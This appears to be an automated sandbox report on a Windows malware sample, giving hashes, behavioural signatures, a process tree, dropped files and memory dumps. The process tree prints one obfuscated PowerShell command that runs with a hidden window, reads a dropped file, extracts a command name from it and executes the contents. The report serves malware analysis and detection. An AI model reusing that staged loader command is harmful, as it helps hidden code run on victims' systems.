Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-07-2024 15:47

General

  • Target

    c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe

  • Size

    610KB

  • MD5

    ad0ed91197890681c43fe8a613ba1b2b

  • SHA1

    d0a7ded680f10ec1871a3b4df10c6a9cc2a30809

  • SHA256

    c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77

  • SHA512

    029ec97c9e08eac5fbda60442b1094b142168c54a4f4233f7812ab46ab8a1f19fa8b4133beb4dff6dbff7ccfcc139367cd966548385b73b3be5e33fe49ac720f

  • SSDEEP

    12288:I2Vmby5Q6IXgRhdiS+j7hmIwKp5KNgcSJtoE2uxck4EUcpF+78:I28SQ6IXgitRwKp5KYoE2uxckrjFM8

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe
    "C:\Users\Admin\AppData\Local\Temp\c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3276
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Hnsehold=Get-Content 'C:\Users\Admin\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Fjot.Mum';$printerporte=$Hnsehold.SubString(952,3);.$printerporte($Hnsehold)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4744
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 2188
        3⤵
        • Program crash
        PID:384
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4744 -ip 4744
    1⤵
      PID:4588

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sdawq34j.fki.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Fjot.Mum

      Filesize

      66KB

      MD5

      32d35db1ec0670fb555927534832f6f7

      SHA1

      ab79fad8e13f41b4cc2364771e75aba2be8ab0ca

      SHA256

      aeef8a36820c85fd6ebee24bd480c84cf8ae5034c6f93a0ad23634220b583364

      SHA512

      53e9f2ab5e20674380de4a0fc396f5a2973ef8765880c9dbe954c4256fb9cd391de7339dc9cff63617af7e5c0f9f67e1468cf001f7976817b97d8fdecb898e31

    • C:\Users\Admin\AppData\Local\Temp\nsiCE4D.tmp\AdvSplash.dll

      Filesize

      5KB

      MD5

      3134c2821796396ba53e77ef3ea6a268

      SHA1

      14c58e347fb4bf1b8c6f5ebccae57c58066d8769

      SHA256

      9cdba2bb0984f10c201921ae5bcfe7b595771e1f12d9e17d31f213bfaf1548c6

      SHA512

      34beca32375af8e4665b48413c940af67bedf6e34895481281551836460721161b158e642bde120a65ca0143643e06bfe660da2b1900e7ca2e4f7a204e183d4e

    • C:\Users\Admin\AppData\Local\Temp\nsiCE4D.tmp\nsDialogs.dll

      Filesize

      9KB

      MD5

      3cea4c9994912d8f3c3e8b6a814e810e

      SHA1

      c48d34a0981d4ab576c7a3ab566f5ddb94af5d86

      SHA256

      b2699fdfdab6a018fcc972806d12f71972de1861660bb6578935d62b1da06504

      SHA512

      d317449f3c3115e279cff148c3e0bccc9b1d4ba82d1f85c0b99d7db657e85f752c0691d33f8024ada5850c993d0bdcbcc70b296b7cf33d7d14a67bc16ca3b4a3

    • memory/4744-19-0x0000000073900000-0x00000000740B0000-memory.dmp

      Filesize

      7.7MB

    • memory/4744-36-0x0000000005B70000-0x0000000005BBC000-memory.dmp

      Filesize

      304KB

    • memory/4744-21-0x0000000073900000-0x00000000740B0000-memory.dmp

      Filesize

      7.7MB

    • memory/4744-22-0x00000000052A0000-0x00000000052C2000-memory.dmp

      Filesize

      136KB

    • memory/4744-23-0x0000000005440000-0x00000000054A6000-memory.dmp

      Filesize

      408KB

    • memory/4744-24-0x00000000054B0000-0x0000000005516000-memory.dmp

      Filesize

      408KB

    • memory/4744-18-0x0000000002560000-0x0000000002596000-memory.dmp

      Filesize

      216KB

    • memory/4744-34-0x0000000005530000-0x0000000005884000-memory.dmp

      Filesize

      3.3MB

    • memory/4744-35-0x0000000005B30000-0x0000000005B4E000-memory.dmp

      Filesize

      120KB

    • memory/4744-20-0x0000000004C70000-0x0000000005298000-memory.dmp

      Filesize

      6.2MB

    • memory/4744-37-0x00000000060C0000-0x0000000006156000-memory.dmp

      Filesize

      600KB

    • memory/4744-38-0x0000000006080000-0x000000000609A000-memory.dmp

      Filesize

      104KB

    • memory/4744-39-0x0000000006B10000-0x0000000006B32000-memory.dmp

      Filesize

      136KB

    • memory/4744-40-0x00000000070F0000-0x0000000007694000-memory.dmp

      Filesize

      5.6MB

    • memory/4744-17-0x000000007390E000-0x000000007390F000-memory.dmp

      Filesize

      4KB

    • memory/4744-42-0x0000000007D20000-0x000000000839A000-memory.dmp

      Filesize

      6.5MB

    • memory/4744-44-0x0000000073900000-0x00000000740B0000-memory.dmp

      Filesize

      7.7MB